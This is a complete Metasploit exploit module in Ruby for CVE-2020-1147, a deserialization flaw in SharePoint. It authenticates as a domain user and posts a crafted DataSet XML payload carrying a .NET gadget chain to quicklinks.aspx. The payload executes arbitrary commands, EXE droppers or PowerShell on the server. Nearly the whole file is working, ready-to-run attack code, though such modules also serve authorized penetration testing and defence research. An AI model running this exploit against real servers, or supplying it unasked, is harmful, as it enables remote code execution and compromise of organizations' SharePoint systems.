SharePoint DataSet / DataTable Deserialization Exploit

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SharePoint DataSet / DataTable Deserialization',
        'Description' => %q{
          A remotely exploitable vulnerability exists within SharePoint that can be leveraged by a remote authenticated
          attacker to execute code within the context of the SharePoint application service. The privileges in this
          execution context are determined by the account that is specified when SharePoint is installed and configured.
          The vulnerability is related to a failure to validate the source of XML input data, leading to an unsafe
          deserialization operation that can be triggered from a page that initializes either the
          ContactLinksSuggestionsMicroView type or a derivative of it. In a default configuration, a Domain User account
          is sufficient to access SharePoint and exploit this vulnerability.
        },
        'Author' => [
          'Steven Seeley', # detailed vulnerability write up and the DataSet gadget
          'Soroush Dalili', # usable endpoint testing and confirmation
          'Spencer McIntyre' # this metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2020-1147'],
          ['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
        ],
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows EXE Dropper',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Type' => :windows_dropper
          ],
          [
            'Windows Command',
            'Arch' => ARCH_CMD,
            'Type' => :windows_command,
            'Space' => 7500
          ],
          [
            'Windows Powershell',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Type' => :windows_powershell
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-07-14',
        'Notes' =>
        {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The base path to the SharePoint application', '/' ]),
      OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKGROUP' ]),
      OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
      OptString.new('PASSWORD', [ true, 'The password to authenticate with', '' ])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'quicklinks.aspx'),
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'vars_get' => {
        'Mode' => 'Suggestion'
      }
    })

    return CheckCode::Unknown('Failed to authenticate to the server.') if res&.code == 401
    return CheckCode::Safe('Failed to identify that SharePoint is running.') unless res&.code == 200 && res.headers['MicrosoftSharePointTeamServices']

    html = res.get_html_document
    return CheckCode::Safe if html.xpath('//html/body/form[@action]').select do |node|
      node['action'] =~ /quicklinks.aspx\?Mode=Suggestion/i
    end.empty?

    CheckCode::Detected('Received the quicklinks HTML form.')
  end

  def exploit
    case target['Type']
    when :windows_command
      execute_command(payload.encoded)
    when :windows_dropper
      cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
      execute_cmdstager({ linemax: cmd_target.opts['Space'] })
    when :windows_powershell
      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
    end
  end

  def execute_command(cmd, _opts = {})
    serialized = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: :TextFormattingRunProperties,
      formatter: :LosFormatter
    ))

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'quicklinks.aspx'),
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'vars_get' => {
        'Mode' => 'Suggestion'
      },
      'vars_post' => {
        '__viewstate' => '',
        '__SUGGESTIONSCACHE__' => Nokogiri::XML(<<-DATASET, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
          <DataSet>
            <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
              <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
                <xs:complexType>
                  <xs:choice minOccurs="0" maxOccurs="unbounded">
                    <xs:element name="Exp_x0020_Table">
                      <xs:complexType>
                        <xs:sequence>
                          <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
                        </xs:sequence>
                      </xs:complexType>
                    </xs:element>
                  </xs:choice>
                </xs:complexType>
              </xs:element>
            </xs:schema>
            <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
              <somedataset>
                <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
                  <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
                  <ExpandedElement/>
                  <ProjectedProperty0>
                      <MethodName>Deserialize</MethodName>
                      <MethodParameters>
                          <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{serialized}</anyType>
                      </MethodParameters>
                      <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
                  </ProjectedProperty0>
                  </pwn>
                </Exp_x0020_Table>
              </somedataset>
            </diffgr:diffgram>
          </DataSet>
        DATASET
      }
    })

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command')
    end

    res
  end
end